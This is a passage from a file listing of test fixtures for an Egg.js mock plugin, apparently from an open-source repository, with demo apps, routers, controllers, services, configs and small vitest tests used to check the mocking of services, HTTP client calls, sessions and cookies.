  {
    "path": "plugins/mock/test/fixtures/apps/no-framework/package.json",
    "content": "{\n  \"name\": \"no-framework\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/no-framework/plugin/a/app/extend/application.js",
    "content": "module.exports = {\n  mockEnv() {\n    this.config.env = 'mocked by plugin';\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/no-framework/plugin/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\",\n    \"dependencies\": [\n      \"egg-mock\"\n    ]\n  }\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/parallel-test/package.json",
    "content": "{\n  \"name\": \"foo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/parallel-test/test/a.test.js",
    "content": "const { describe, it } = require('vitest');\nconst mm = require('../../../../../');\nconst assert = require('assert');\n\ndescribe('test/parallel_a.test.js', () => {\n  it('should work', () => {\n    mm(global, 'test', '233');\n    assert(global.test === '233');\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/parallel-test/test/b.test.js",
    "content": "const { describe, it } = require('vitest');\nconst mm = require('../../../../../');\nconst assert = require('assert');\n\ndescribe('test/parallel_b.test.js', () => {\n  it('should work', () => {\n    mm(global, 'test', '244');\n    assert(global.test === '244');\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/apps/parallel-test/test/c.test.js",
    "content": "const { describe, it } = require('vitest');\nconst assert = require('assert');\n\ndescribe('test/parallel_a.test.js', () => {\n  it('should work', () => {\n    assert(!global.test);\n  });\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/bar/config/config.default.js",
    "content": "exports.foobar = 'bar';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/bar/index.js",
    "content": "const egg = require('egg');\n\nconst EGG_PATH = Symbol.for('egg#eggPath');\n\nclass BarApplication extends egg.Application {\n  get [EGG_PATH]() {\n    return __dirname;\n  }\n}\n\nexports.Agent = egg.Agent;\nexports.Application = BarApplication;\nexports.startCluster = egg.startCluster;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/bar/package.json",
    "content": "{\n  \"name\": \"bar\",\n  \"version\": \"1.0.0\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/cache/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/cache/package.json",
    "content": "{\n  \"name\": \"cache\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/chair/index.js",
    "content": "const egg = require('egg');\n\nasync function startCluster(options) {\n  // print for the testcase that will assert stdout\n  console.log(options.eggPath);\n  delete options.eggPath;\n  await egg.startCluster(options);\n}\n\nexports.startCluster = startCluster;\nexports.Application = egg.Application;\nexports.Agent = egg.Agent;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/chair/package.json",
    "content": "{\n  \"name\": \"chair\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/create-context-failed/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/create-context-failed/package.json",
    "content": "{\n  \"name\": \"app\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/create-context-failed/test/index.test.js",
    "content": "const { describe, it } = require('vitest');\nconst { setGetAppCallback } = require('../../../..');\n\nsetGetAppCallback(() => {\n  return {\n    ready: async () => {\n      // ...\n    },\n    mockContextScope: async () => {\n      throw new Error('mock create context failed');\n    },\n    close: async () => {\n      // ...\n    },\n    backgroundTasksFinished: async () => {\n      // ...\n    },\n  };\n});\n\ndescribe('test case create context error', () => {\n  it('should not print', () => {});\n});\n"
  },
  {
    "path": "plugins/mock/test/fixtures/custom-loader/app/adapter/docker.js",
    "content": "'use strict';\n\nclass DockerAdapter {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async inspectDocker() {\n    return 'docker';\n  }\n}\n\nmodule.exports = DockerAdapter;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/custom-loader/app/controller/user.js",
    "content": "'use strict';\n\nclass UserController {\n  constructor(ctx) {\n    this.ctx = ctx;\n    this.app = ctx.app;\n  }\n\n  async get() {\n    this.ctx.body = {\n      adapter: await this.app.adapter.docker.inspectDocker(),\n      repository: await this.ctx.repository.user.get(),\n    };\n  }\n}\n\nmodule.exports = UserController;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/custom-loader/app/repository/user.js",
    "content": "'use strict';\n\nclass UserRepository {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  async get() {\n    return this.ctx.params.name;\n  }\n}\n\nmodule.exports = UserRepository;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/custom-loader/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.router.get('/users/:name', app.controller.user.get);\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/custom-loader/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n  customLoader: {\n    adapter: {\n      directory: 'app/adapter',\n      inject: 'app',\n    },\n    repository: {\n      directory: 'app/repository',\n      inject: 'ctx',\n    },\n    env: {\n      directory: 'app/env',\n      inject: 'ctx',\n    },\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/custom-loader/package.json",
    "content": "{\n  \"name\": \"custom-loader\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/custom_egg/package.json",
    "content": "{\n  \"name\": \"custom\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/context.js",
    "content": "'use strict';\n\nmodule.exports = {\n  getResult(result) {\n    return {\n      body: result,\n    };\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/controller/file.js",
    "content": "const assert = require('assert');\n\nmodule.exports = (app) => {\n  return async function file(ctx) {\n    const ctxFromStorage = app.ctxStorage.getStore();\n    assert(ctxFromStorage !== ctx);\n    const stream = await ctx.getFileStream();\n    const fields = stream.fields;\n    ctx.body = {\n      fields,\n      filename: stream.filename,\n      user: ctx.user,\n      traceId: ctx.traceId,\n      ctxFromStorageUser: ctxFromStorage.user,\n      ctxFromStorageTraceId: ctxFromStorage.traceId,\n    };\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/controller/home.js",
    "content": "exports.get = function () {\n  this.body = {\n    cookieValue: this.getCookie('foo') || undefined,\n    cookiesValue: this.cookies.get('foo') || undefined,\n    sessionValue: this.session.foo,\n  };\n};\n\nexports.post = function () {\n  this.body = 'done';\n};\n\nexports.hello = function () {\n  this.body = 'hi';\n};\n\nexports.service = async (ctx) => {\n  ctx.body = {\n    foo1: await ctx.service.foo.get(),\n    foo2: await ctx.service.bar.foo.get(),\n    foo3: ctx.service.foo.getSync(),\n    thirdService: await ctx.service.third.bar.foo.get(),\n  };\n};\n\nexports.serviceOld = async function () {\n  this.body = await this.service.old.test();\n};\n\nexports.header = function () {\n  this.body = {\n    header: this.get('customheader'),\n  };\n};\n\nexports.urllib = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const data = this.query.data ? JSON.parse(this.query.data) : undefined;\n  const dataType = this.query.dataType;\n  let r = this.app.httpclient[method](url + '/mock_url', {\n    dataType,\n    data,\n  });\n  if (method === 'request') r = r.then((d) => d);\n  const r1 = await r;\n  const r2 = await this.app.httpclient[method](url + '/mock_url', {\n    method: 'POST',\n    dataType,\n    data,\n    headers: {\n      'x-custom': 'custom',\n    },\n  });\n  this.body = {\n    get: Buffer.isBuffer(r1.data) ? r1.data.toString() : r1.data,\n    post: Buffer.isBuffer(r2.data) ? r2.data.toString() : r2.data,\n  };\n};\n\nexports.mockUrlGet = function () {\n  this.body = 'url get';\n};\n\nexports.mockUrlPost = async function () {\n  this.body = 'url post';\n};\n\nexports.mockUrllibHeaders = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const res = await this.app.httpclient[method](url + '/mock_url');\n  this.body = res.headers;\n};\n\nexports.dataType = async function () {\n  const url = 'http://' + this.host;\n  const res = await this.app.httpclient.request(url + '/mock_url', {\n    dataType: 'json',\n  });\n  this.body = res.data;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/controller/session.js",
    "content": "module.exports = async function () {\n  this.session.save();\n  this.body = this.session;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/controller/user.js",
    "content": "exports.get = function () {\n  this.set('x-request-url', this.url);\n  this.body = this.user;\n};\n\nexports.post = function () {\n  this.body = {\n    user: this.user,\n    params: this.request.body,\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/extend/application.js",
    "content": "module.exports = {\n  mockDevice(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  async mockGenerator(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  mockPromise(obj) {\n    obj.mock = true;\n    return Promise.resolve(obj);\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('home', '/', app.controller.home.get);\n  app.get('/hello', app.controller.home.hello);\n  app.get('/service', app.controller.home.service);\n  app.get('/service/old', app.controller.home.serviceOld);\n  app.get('/header', app.controller.home.header);\n  app.get('/urllib', app.controller.home.urllib);\n  app.get('/mock_url', app.controller.home.mockUrlGet);\n  app.post('/mock_url', app.controller.home.mockUrlPost);\n  app.get('/mock_urllib', app.controller.home.mockUrllibHeaders);\n  app.get('/data_type', app.controller.home.dataType);\n  app.get('session', '/session', app.controller.session);\n\n  app.post('/', app.controller.home.post);\n\n  app.get('/user', app.controller.user.get);\n  app.post('/user', app.controller.user.post);\n  app.post('/file', app.controller.file);\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/service/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/service/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n\n    getSync() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/service/old.js",
    "content": "module.exports = () => {\n  exports.test = async function () {\n    return 'hello';\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app/service/third/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Main extends app.Service {\n    async get() {\n      return 'third';\n    }\n  }\n\n  return Main;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/app.js",
    "content": "'use strict';\n\nmodule.exports = function () {};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/config/config.js",
    "content": "'use strict';\n\nmodule.exports = {\n  urllib: {\n    keepAlive: false,\n  },\n  logger: {\n    consoleLevel: 'NONE',\n  },\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/config/plugin.js",
    "content": "exports.schedule = false;\nexports.logrotator = false;\n\n// disable tegg plugins\nexports.teggEventbus = false;\nexports.tegg = false;\nexports.teggConfig = false;\nexports.teggController = false;\nexports.teggDal = false;\nexports.teggSchedule = false;\nexports.teggOrm = false;\nexports.teggAjv = false;\nexports.teggAop = false;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/mocks_data/service/bar/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/mocks_data/service/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Home extends app.Controller {\n    async testService() {\n      this.ctx.body = {\n        foo1: await this.service.foo.get(),\n        foo2: await this.service.bar.foo.get(),\n        foo3: this.service.foo.getSync(),\n        thirdService: await this.service.third.bar.foo.get(),\n      };\n    }\n  }\n\n  return Home;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/service', app.controller.home.testService);\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/app/service/bar/foo.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/app/service/foo.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n\n    getSync() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/app/service/third/bar/foo.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Main extends app.Service {\n    async get() {\n      return 'third';\n    }\n  }\n\n  return Main;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/app.js",
    "content": "'use strict';\n\nmodule.exports = function () {};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/config/config.js",
    "content": "'use strict';\n\nmodule.exports = {\n  urllib: {\n    keepAlive: false,\n  },\n  logger: {\n    consoleLevel: 'NONE',\n  },\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/mocks_data/service/bar/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/mocks_data/service/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo-async/package.json",
    "content": "{\n  \"name\": \"demo-async\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/context.js",
    "content": "'use strict';\n\nmodule.exports = {\n  getResult(result) {\n    return {\n      body: result,\n    };\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/controller/file.js",
    "content": "const assert = require('assert');\n\nmodule.exports = (app) => {\n  return async function file(ctx) {\n    const ctxFromStorage = app.ctxStorage.getStore();\n    assert(ctxFromStorage !== ctx);\n    const stream = await ctx.getFileStream();\n    const fields = stream.fields;\n    ctx.body = {\n      fields,\n      filename: stream.filename,\n      user: ctx.user,\n      traceId: ctx.traceId,\n      ctxFromStorageUser: ctxFromStorage.user,\n      ctxFromStorageTraceId: ctxFromStorage.traceId,\n    };\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/controller/home.js",
    "content": "exports.get = function () {\n  this.body = {\n    cookieValue: this.getCookie('foo') || undefined,\n    cookiesValue: this.cookies.get('foo') || undefined,\n    sessionValue: this.session.foo,\n  };\n};\n\nexports.post = function () {\n  this.body = 'done';\n};\n\nexports.hello = function () {\n  this.body = 'hi';\n};\n\nexports.service = async (ctx) => {\n  ctx.body = {\n    foo1: await ctx.service.foo.get(),\n    foo2: await ctx.service.bar.foo.get(),\n    foo3: ctx.service.foo.getSync(),\n    thirdService: await ctx.service.third.bar.foo.get(),\n  };\n};\n\nexports.serviceOld = async function () {\n  this.body = await this.service.old.test();\n};\n\nexports.header = function () {\n  this.body = {\n    header: this.get('customheader'),\n  };\n};\n\nexports.urllib = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const data = this.query.data ? JSON.parse(this.query.data) : undefined;\n  const dataType = this.query.dataType;\n  let r = this.app.httpclient[method](url + '/mock_url', {\n    dataType,\n    data,\n  });\n  if (method === 'request') r = r.then((d) => d);\n  const r1 = await r;\n  const r2 = await this.app.httpclient[method](url + '/mock_url', {\n    method: 'POST',\n    dataType,\n    data,\n    headers: {\n      'x-custom': 'custom',\n    },\n  });\n  this.body = {\n    get: Buffer.isBuffer(r1.data) ? r1.data.toString() : r1.data,\n    post: Buffer.isBuffer(r2.data) ? r2.data.toString() : r2.data,\n  };\n};\n\nexports.mockUrlGet = function () {\n  this.body = 'url get';\n};\n\nexports.mockUrlPost = async function () {\n  this.body = 'url post';\n};\n\nexports.mockUrllibHeaders = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const res = await this.app.httpclient[method](url + '/mock_url');\n  this.body = res.headers;\n};\n\nexports.dataType = async function () {\n  const url = 'http://' + this.host;\n  const res = await this.app.httpclient.request(url + '/mock_url', {\n    dataType: 'json',\n  });\n  this.body = res.data;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/controller/session.js",
    "content": "module.exports = async function () {\n  this.session.save();\n  this.body = this.session;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/controller/user.js",
    "content": "exports.get = function () {\n  this.set('x-request-url', this.url);\n  this.body = this.user;\n};\n\nexports.post = function () {\n  this.body = {\n    user: this.user,\n    params: this.request.body,\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/extend/application.js",
    "content": "module.exports = {\n  mockDevice(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  async mockGenerator(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  mockPromise(obj) {\n    obj.mock = true;\n    return Promise.resolve(obj);\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('home', '/', app.controller.home.get);\n  app.get('/hello', app.controller.home.hello);\n  app.get('/service', app.controller.home.service);\n  app.get('/service/old', app.controller.home.serviceOld);\n  app.get('/header', app.controller.home.header);\n  app.get('/urllib', app.controller.home.urllib);\n  app.get('/mock_url', app.controller.home.mockUrlGet);\n  app.post('/mock_url', app.controller.home.mockUrlPost);\n  app.get('/mock_urllib', app.controller.home.mockUrllibHeaders);\n  app.get('/data_type', app.controller.home.dataType);\n  app.get('session', '/session', app.controller.session);\n\n  app.post('/', app.controller.home.post);\n\n  app.get('/user', app.controller.user.get);\n  app.post('/user', app.controller.user.post);\n  app.post('/file', app.controller.file);\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/service/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/service/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n\n    getSync() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/service/old.js",
    "content": "module.exports = () => {\n  exports.test = async function () {\n    return 'hello';\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app/service/third/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Main extends app.Service {\n    async get() {\n      return 'third';\n    }\n  }\n\n  return Main;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/app.js",
    "content": "'use strict';\n\nmodule.exports = function () {};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/config/config.js",
    "content": "'use strict';\n\nmodule.exports = {\n  urllib: {\n    keepAlive: false,\n  },\n  logger: {\n    consoleLevel: 'NONE',\n  },\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/config/plugin.js",
    "content": "exports.schedule = false;\nexports.logrotator = false;\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/mocks_data/service/bar/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/mocks_data/service/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_mock_service_cluster/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/context.js",
    "content": "module.exports = {\n  getResult(result) {\n    return {\n      body: result,\n    };\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/controller/file.js",
    "content": "module.exports = async function () {\n  const stream = await this.getFileStream();\n  const fields = stream.fields;\n  this.body = {\n    fields,\n    filename: stream.filename,\n    user: this.user,\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/controller/home.js",
    "content": "exports.get = async function () {\n  this.body = {\n    cookieValue: this.getCookie('foo') || undefined,\n    cookiesValue: this.cookies.get('foo') || undefined,\n    sessionValue: this.session.foo,\n  };\n};\n\nexports.post = async function () {\n  this.body = 'done';\n};\n\nexports.hello = async function () {\n  this.body = 'hi';\n};\n\nexports.service = async function () {\n  this.body = {\n    foo1: await this.service.foo.get(),\n    foo2: await this.service.bar.foo.get(),\n    foo3: this.service.foo.getSync(),\n    thirdService: await this.service.third.bar.foo.get(),\n  };\n};\n\nexports.serviceOld = async function () {\n  this.body = await this.service.old.test();\n};\n\nexports.header = async function () {\n  this.body = {\n    header: this.get('customheader'),\n  };\n};\n\nexports.urllib = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const data = this.query.data ? JSON.parse(this.query.data) : undefined;\n  const dataType = this.query.dataType;\n  const foo = this.query.foo;\n  let requestUrl = url + (this.query.mock_url || '/mock_url');\n  if (foo) {\n    requestUrl = `${requestUrl}?foo=${foo}`;\n  }\n  let r = this.app.httpclient[method](requestUrl, {\n    dataType,\n    data,\n  });\n  if (method === 'request') r = r.then((d) => d);\n  const r1 = await r;\n  const r2 = await this.app.httpclient[method](requestUrl, {\n    method: 'POST',\n    dataType,\n    data,\n    headers: {\n      'x-custom': 'custom',\n    },\n  });\n  this.body = {\n    get: Buffer.isBuffer(r1.data) ? r1.data.toString() : r1.data,\n    post: Buffer.isBuffer(r2.data) ? r2.data.toString() : r2.data,\n  };\n};\n\nexports.streaming = async (ctx) => {\n  const url = 'http://' + ctx.host;\n  const response = await ctx.httpclient.request(url + '/mock_url', {\n    method: 'GET',\n    streaming: true,\n  });\n  ctx.status = response.status;\n  ctx.body = response.res;\n};\n\nexports.mockUrlGet = async function () {\n  const foo = this.query.foo;\n  if (foo) {\n    this.body = `url get with foo: ${foo}`;\n    return;\n  }\n  this.body = 'url get';\n};\n\nexports.mockUrlPost = async function () {\n  this.body = 'url post';\n};\n\nexports.mockUrllibHeaders = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const res = await this.app.httpclient[method](url + '/mock_url');\n  this.body = res.headers;\n};\n\nexports.dataType = async function () {\n  const url = 'http://' + this.host;\n  const res = await this.app.httpclient.request(url + '/mock_url', {\n    dataType: 'json',\n  });\n  this.body = res.data;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/controller/session.js",
    "content": "module.exports = async function () {\n  this.session.save();\n  this.body = this.session;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/controller/user.js",
    "content": "exports.get = async function () {\n  this.body = this.user;\n};\n\nexports.post = async function () {\n  this.body = {\n    user: this.user,\n    params: this.request.body,\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/extend/application.js",
    "content": "module.exports = {\n  mockDevice(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  async mockGenerator(obj) {\n    obj.mock = true;\n    return obj;\n  },\n\n  mockPromise(obj) {\n    obj.mock = true;\n    return Promise.resolve(obj);\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', app.controller.home.get);\n  app.get('/hello', app.controller.home.hello);\n  app.get('/service', app.controller.home.service);\n  app.get('/service/old', app.controller.home.serviceOld);\n  app.get('/header', app.controller.home.header);\n  app.get('/urllib', app.controller.home.urllib);\n  app.get('/mock_url', app.controller.home.mockUrlGet);\n  app.get('/mock_url2', app.controller.home.mockUrlGet);\n  app.post('/mock_url', app.controller.home.mockUrlPost);\n  app.post('/mock_url2', app.controller.home.mockUrlPost);\n  app.get('/mock_urllib', app.controller.home.mockUrllibHeaders);\n  app.get('/data_type', app.controller.home.dataType);\n  app.get('session', '/session', app.controller.session);\n\n  app.post('/', app.controller.home.post);\n\n  app.get('/user', app.controller.user.get);\n  app.post('/user', app.controller.user.post);\n  app.post('/file', app.controller.file);\n\n  app.get('/streaming', 'home.streaming');\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/service/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/service/foo.js",
    "content": "module.exports = function (app) {\n  class Foo extends app.Service {\n    async get() {\n      return 'bar';\n    }\n\n    getSync() {\n      return 'bar';\n    }\n  }\n\n  return Foo;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/service/old.js",
    "content": "module.exports = () => {\n  exports.test = async function () {\n    return 'hello';\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app/service/third/bar/foo.js",
    "content": "module.exports = function (app) {\n  class Main extends app.Service {\n    async get() {\n      return 'third';\n    }\n  }\n\n  return Main;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/app.js",
    "content": "'use strict';\n\nmodule.exports = function () {};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/config/config.js",
    "content": "module.exports = {\n  httpclient: {\n    useHttpClientNext: true,\n    allowH2: false,\n    request: {\n      timing: true,\n    },\n  },\n  logger: {\n    consoleLevel: 'NONE',\n  },\n  keys: '123',\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/mocks_data/service/bar/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/mocks_data/service/foo/get/foobar.js",
    "content": "'use strict';\n\nmodule.exports = 'foobar';\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/context.js",
    "content": "module.exports = {\n  getResult(result) {\n    return {\n      body: result,\n    };\n  },\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/controller/file.js",
    "content": "module.exports = async function () {\n  const stream = await this.getFileStream();\n  const fields = stream.fields;\n  this.body = {\n    fields,\n    filename: stream.filename,\n    user: this.user,\n  };\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/controller/home.js",
    "content": "exports.get = async function () {\n  this.body = {\n    cookieValue: this.getCookie('foo') || undefined,\n    cookiesValue: this.cookies.get('foo') || undefined,\n    sessionValue: this.session.foo,\n  };\n};\n\nexports.post = async function () {\n  this.body = 'done';\n};\n\nexports.hello = async function () {\n  this.body = 'hi';\n};\n\nexports.service = async function () {\n  this.body = {\n    foo1: await this.service.foo.get(),\n    foo2: await this.service.bar.foo.get(),\n    foo3: this.service.foo.getSync(),\n    thirdService: await this.service.third.bar.foo.get(),\n  };\n};\n\nexports.serviceOld = async function () {\n  this.body = await this.service.old.test();\n};\n\nexports.header = async function () {\n  this.body = {\n    header: this.get('customheader'),\n  };\n};\n\nexports.urllib = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const data = this.query.data ? JSON.parse(this.query.data) : undefined;\n  const dataType = this.query.dataType;\n  const foo = this.query.foo;\n  let requestUrl = url + (this.query.mock_url || '/mock_url');\n  if (foo) {\n    requestUrl = `${requestUrl}?foo=${foo}`;\n  }\n  let r = this.app.httpclient[method](requestUrl, {\n    dataType,\n    data,\n  });\n  if (method === 'request') r = r.then((d) => d);\n  const r1 = await r;\n  const r2 = await this.app.httpclient[method](requestUrl, {\n    method: 'POST',\n    dataType,\n    data,\n    headers: {\n      'x-custom': 'custom',\n    },\n  });\n  this.body = {\n    get: Buffer.isBuffer(r1.data) ? r1.data.toString() : r1.data,\n    post: Buffer.isBuffer(r2.data) ? r2.data.toString() : r2.data,\n  };\n};\n\nexports.streaming = async (ctx) => {\n  const url = 'http://' + ctx.host;\n  const response = await ctx.httpclient.request(url + '/mock_url', {\n    method: 'GET',\n    streaming: true,\n  });\n  ctx.status = response.status;\n  ctx.body = response.res;\n};\n\nexports.mockUrlGet = async function () {\n  const foo = this.query.foo;\n  if (foo) {\n    this.body = `url get with foo: ${foo}`;\n    return;\n  }\n  this.body = 'url get';\n};\n\nexports.mockUrlPost = async function () {\n  this.body = 'url post';\n};\n\nexports.mockUrllibHeaders = async function () {\n  const url = 'http://' + this.host;\n  const method = this.query.method || 'request';\n  const res = await this.app.httpclient[method](url + '/mock_url');\n  this.body = res.headers;\n};\n\nexports.dataType = async function () {\n  const url = 'http://' + this.host;\n  const res = await this.app.httpclient.request(url + '/mock_url', {\n    dataType: 'json',\n  });\n  this.body = res.data;\n};\n"
  },
  {
    "path": "plugins/mock/test/fixtures/demo_next_h2/app/controller/session.js",
